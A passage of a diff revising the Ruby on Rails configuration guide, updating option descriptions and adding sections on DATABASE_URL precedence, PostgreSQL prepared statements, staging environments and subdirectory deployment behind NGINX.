methods are to be called on a `Rails::Railtie` object, such * `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API. -* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. +* `config.filter_parameters` used for filtering out the parameters that +you don't want shown in the logs, such as passwords or credit card +numbers. New applications filter out passwords by adding the following `config.filter_parameters+=[:password]` in `config/initializers/filter_parameter_logging.rb`. * `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware. -* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`. +* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`. + +* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments. -* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications. +* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. -* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode. +* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`. * `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below. * `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored. -* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`. +* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`. -* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. +* `config.serve_static_files` configures Rails to serve static files. This option defaults to true, but in the production environment it is set to false because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to true. Otherwise, you won't be able to use page caching and request for files that exist under the public directory. * `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: @@ -125,15 +134,14 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. -* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`). - -* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments. - ### Configuring Assets -* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`. +* `config.assets.enabled` a flag that controls whether the asset +pipeline is enabled. It is set to true by default. + +* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`. -* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`. +* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`. * `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. @@ -145,7 +153,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`. -* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`. +* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder. + +* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb` and `development.rb`. * `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`. @@ -177,7 +187,6 @@ The full set of methods that can be used in this block are as follows: * `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`. * `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`. * `orm` defines which orm to use. Defaults to `false` and will use Active Record by default. -* `performance_tool` defines which performance tool to use. Defaults to `nil`. * `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`. * `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`. * `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`. @@ -190,14 +199,14 @@ The full set of methods that can be used in this block are as follows: Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: * `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`. -* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`. +* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_files` is `false`. * `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`. * `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. * `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. -* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs. +* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs. * `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless. * `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. -* `ActionDispatch::RemoteIp` checks for IP spoofing attacks. Configurable with the `config.action_dispatch.ip_spoofing_check` and `config.action_dispatch.trusted_proxies` settings. +* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options. * `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`. * `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request. * `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. @@ -207,8 +216,7 @@ Every Rails application comes with a standard set of middleware which it uses in * `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value. * `ActionDispatch::ParamsParser` parses out parameters from the request into `params`. * `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. -* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so. -* `ActionDispatch::BestStandardsSupport` enables "best standards support" so that IE8 renders some elements correctly. +* `Rack::Head` converts HEAD requests to GET requests and serves them as so. Besides these usual middleware, you can add your own by using the `config.middleware.use` method: @@ -219,31 +227,37 @@ config.middleware.use Magical::Unicorns This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another. ```ruby -config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_before Rack::Head, Magical::Unicorns ``` There's also `insert_after` which will insert a middleware after another: ```ruby -config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns +config.middleware.insert_after Rack::Head, Magical::Unicorns ``` Middlewares can also be completely swapped out and replaced with others: ```ruby -config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns +config.middleware.swap ActionController::Failsafe, Lifo::Failsafe ``` They can also be removed from the stack completely: ```ruby -config.middleware.delete ActionDispatch::BestStandardsSupport +config.middleware.delete "Rack::MethodOverride" ``` ### Configuring i18n +All these configuration options are delegated to the `I18n` library. + +* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. + * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. +* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. + * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. ### Configuring Active Record @@ -260,9 +274,11 @@ config.middleware.delete ActionDispatch::BestStandardsSupport * `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. +* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. + * `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. -* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails. +* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`. * `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. @@ -270,9 +286,19 @@ config.middleware.delete ActionDispatch::BestStandardsSupport * `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default. -* `config.active_record.auto_explain_threshold_in_seconds` configures the threshold for automatic EXPLAINs (`nil` disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode. +* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`. + +* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`. -* +config.active_record.cache_timestamp_format+ controls the format of the timestamp value in the cache key. Default is +:number+. +* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. + +* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true. + +* `config.active_record.dump_schema_after_migration` is a flag which + controls whether or not schema dump should happen (`db/schema.rb` or + `db/structure.sql`) when you run migrations. This is set to false in + `config/environments/production.rb` which is generated by Rails. The + default value is true if this configuration is not set. The MySQL adapter adds one additional configuration option: @@ -294,16 +320,22 @@ The schema dumper adds one additional configuration option: * `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8". +* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default is `true`. + * `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging. * `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default. * `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. -* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. +* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. +* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. + +* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`. + ### Configuring Action Dispatch * `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class. @@ -320,6 +352,46 @@ The schema dumper adds one additional configuration option: * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt +value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed +encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + +* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge` + method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) + for more information. It defaults to true. + +* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as: + + ```ruby + config.action_dispatch.rescue_responses = { + 'ActionController::RoutingError' => :not_found, + 'AbstractController::ActionNotFound' => :not_found, + 'ActionController::MethodNotAllowed' => :method_not_allowed, + 'ActionController::UnknownHttpMethod' => :method_not_allowed, + 'ActionController::NotImplemented' => :not_implemented, + 'ActionController::UnknownFormat' => :not_acceptable, + 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity, + 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity, + 'ActionDispatch::ParamsParser::ParseError' => :bad_request, + 'ActionController::BadRequest' => :bad_request, + 'ActionController::ParameterMissing' => :bad_request, + 'ActiveRecord::RecordNotFound' => :not_found, + 'ActiveRecord::StaleObjectError' => :conflict, + 'ActiveRecord::RecordInvalid' => :unprocessable_entity, + 'ActiveRecord::RecordNotSaved' => :unprocessable_entity + } + ``` + + Any exceptions that are not configured will be mapped to 500 Internal Server Error. + * `ActionDispatch::Callbacks.before` takes a block of code to run before the request. * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. @@ -342,45 +414,19 @@ The schema dumper adds one additional configuration option: * `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. -* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information. - -* `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as: - - ```ruby - config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) } - ``` - - However, you may add to this by defining others: - - ```ruby - config.action_view.javascript_expansions[:prototype] = [ - 'prototype', 'effects', 'dragdrop', 'controls' - ] - ``` - - And can reference in the view with the following code: - - ```ruby - <%= javascript_include_tag :prototype %> - ``` - -* `config.action_view.stylesheet_expansions` works in much the same way as `javascript_expansions`, but has no default key. Keys defined for this hash can be referenced in the view like such: - - ```ruby - <%= stylesheet_link_tag :special %> - ``` - -* `config.action_view.cache_asset_ids` With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. +* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information. * `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true` -* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template: +* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template: ```erb - <%= render @post %> + <%= render @article %> ``` - The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`. + The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`. + +* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations ### Configuring Action Mailer @@ -402,17 +448,25 @@ There are a number of settings available on `config.action_mailer`: * `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true. -* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`. +* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info. * `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. * `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: ```ruby - :mime_version => "1.0", - :charset => "UTF-8", - :content_type => "text/plain", - :parts_order => [ "text/plain", "text/enriched", "text/html" ] + mime_version: "1.0", + charset: "UTF-8", + content_type: "text/plain", + parts_order: ["text/plain", "text/enriched", "text/html"] + ``` + + Assign a hash to set additional options: + + ```ruby + config.action_mailer.default_options = { + from: "noreply@example.com" + } ``` * `config.action_mailer.observers` registers observers which will be notified when mail is delivered. @@ -427,16 +481,32 @@ There are a number of settings available on `config.action_mailer`: config.action_mailer.interceptors = ["MailInterceptor"] ``` +* `config.action_mailer.preview_path` specifies the location of mailer previews. + + ```ruby + config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" + ``` + +* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development. + + ```ruby + config.action_mailer.show_previews = false + ``` + ### Configuring Active Support There are a few configuration options available in Active Support: * `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded. +* `config.active_support.test_order` sets the order that test cases are executed. Possible values are `:sorted` and `:random`. Currently defaults to `:sorted`. In Rails 5.0, the default will be changed to `:random` instead. + * `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`. * `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. +* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`. + * `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. * `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations. @@ -447,17 +517,133 @@ There are a few configuration options available in Active Support: * `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. -* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. ### Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`. + +Using the `config/database.yml` file you can specify all the information needed to access your database: + +```yaml +development: + adapter: postgresql + database: blog_development + pool: 5 +``` + +This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this: + +```ruby +> puts ENV['DATABASE_URL'] +postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file contains sections for three different environments in which Rails can run by default: * The `development` environment is used on your development/local computer as you interact manually with the application. * The `test` environment is used when running automated tests. * The `production` environment is used when you deploy your application for the world to use. -TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. +If you wish, you can manually specify a URL inside of your `config/database.yml` + +``` +development: + url: postgresql://localhost/blog_development?pool=5 +``` + +The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information. + + +TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. + + +### Connection Preference + +Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact. + +If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable: + +``` +$ cat config/database.yml + +$ echo $DATABASE_URL +postgresql://localhost/my_database +``` + +If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database: + +``` +$ cat config/database.yml +development: + adapter: postgresql + database: my_database + host: localhost + +$ echo $DATABASE_URL +``` + +If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples. + +When duplicate connection information is provided the environment variable will take precedence: + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + database: NOT_my_database + host: localhost + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ bin/rails runner 'puts ActiveRecord::Base.configurations' +{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}} +``` + +Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`. + +If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts. + +``` +$ cat config/database.yml +development: + adapter: sqlite3 + pool: 5 + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ bin/rails runner 'puts ActiveRecord::Base.configurations' +{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}} +``` + +Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins. + +The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key: + +``` +$ cat config/database.yml +development: + url: sqlite3:NOT_my_database + +$ echo $DATABASE_URL +postgresql://localhost/my_database + +$ bin/rails runner 'puts ActiveRecord::Base.configurations' +{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}} +``` + +Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name. + +Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git). + +``` +$ cat config/database.yml +production: + url: <%= ENV['DATABASE_URL'] %> +``` + +Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`. #### Configuring an SQLite3 Database @@ -502,11 +688,9 @@ development: encoding: unicode database: blog_development pool: 5 - username: blog - password: ``` -Prepared Statements can be disabled thus: +Prepared Statements are enabled by default on PostgreSQL. You can be disable prepared statements by setting `prepared_statements` to `false`: ```yaml production: @@ -514,6 +698,16 @@ production: prepared_statements: false ``` +If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value: + +``` +production: + adapter: postgresql + statement_limit: 200 +``` + +The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements. + #### Configuring an SQLite3 Database for JRuby Platform If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section: @@ -551,6 +745,86 @@ development: Change the username and password in the `development` section as appropriate. +### Creating Rails Environments + +By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments. + +Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. + +That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc. + + +### Deploy to a subdirectory (relative url root) + +By default Rails expects that your application is running at the root +(eg. `/`). This section explains how to run your application inside a directory. + +Let's assume we want to deploy our application to "/app1". Rails needs to know +this directory to generate the appropriate routes: + +```ruby +config.relative_url_root = "/app1" +``` + +alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment +variable. + +Rails will now prepend "/app1" when generating links. + +#### Using Passenger + +Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri). + +#### Using a Reverse Proxy + +Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application. + +Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers. + +One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy. + +In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead. + +You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it. + +Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include: + +``` +upstream application_server { + server 0.0.0.0:8080 +} + +server { + listen 80; + server_name localhost; + + root /root/path/to/your_app/public; + + try_files $uri/index.html $uri.html @app; + + location @app { + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header Host $http_host; + proxy_redirect off; + proxy_pass http://application_server; + } + + # some other configuration +} +``` + +Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information. + +#### Considerations when deploying to a subdirectory + +Deploying to a subdirectory in production has implications on various parts of +Rails. + +* development environment: +* testing environment: +* serving static assets: +* asset pipeline: + Rails Environment Settings -------------------------- @@ -558,7 +832,7 @@ Some parts of Rails can also be configured externally by supplying environment v * `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. -* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory. +* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). * `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. @@ -583,9 +857,9 @@ Rails has 5 initialization events which can be hooked into (listed in the order * `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`. -* `before_eager_load`: This is run directly before eager loading occurs, which is the default behaviour for the `production` environment and not for the `development` environment. +* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment. -* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run. +* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run. To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: @@ -611,17 +885,17 @@ WARNING: Some parts of your application, notably routing, are not yet set up at ### `Rails::Railtie#initializer` -Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support: +Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller: ```ruby -initializer "active_support.initialize_whiny_nils" do |app| - require 'active_support/whiny_nil' if app.config.whiny_nils +initializer "action_controller.set_helpers_path" do |app| + ActionController::Helpers.helpers_path = app.helpers_paths end ``` The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_. -Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. +Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just 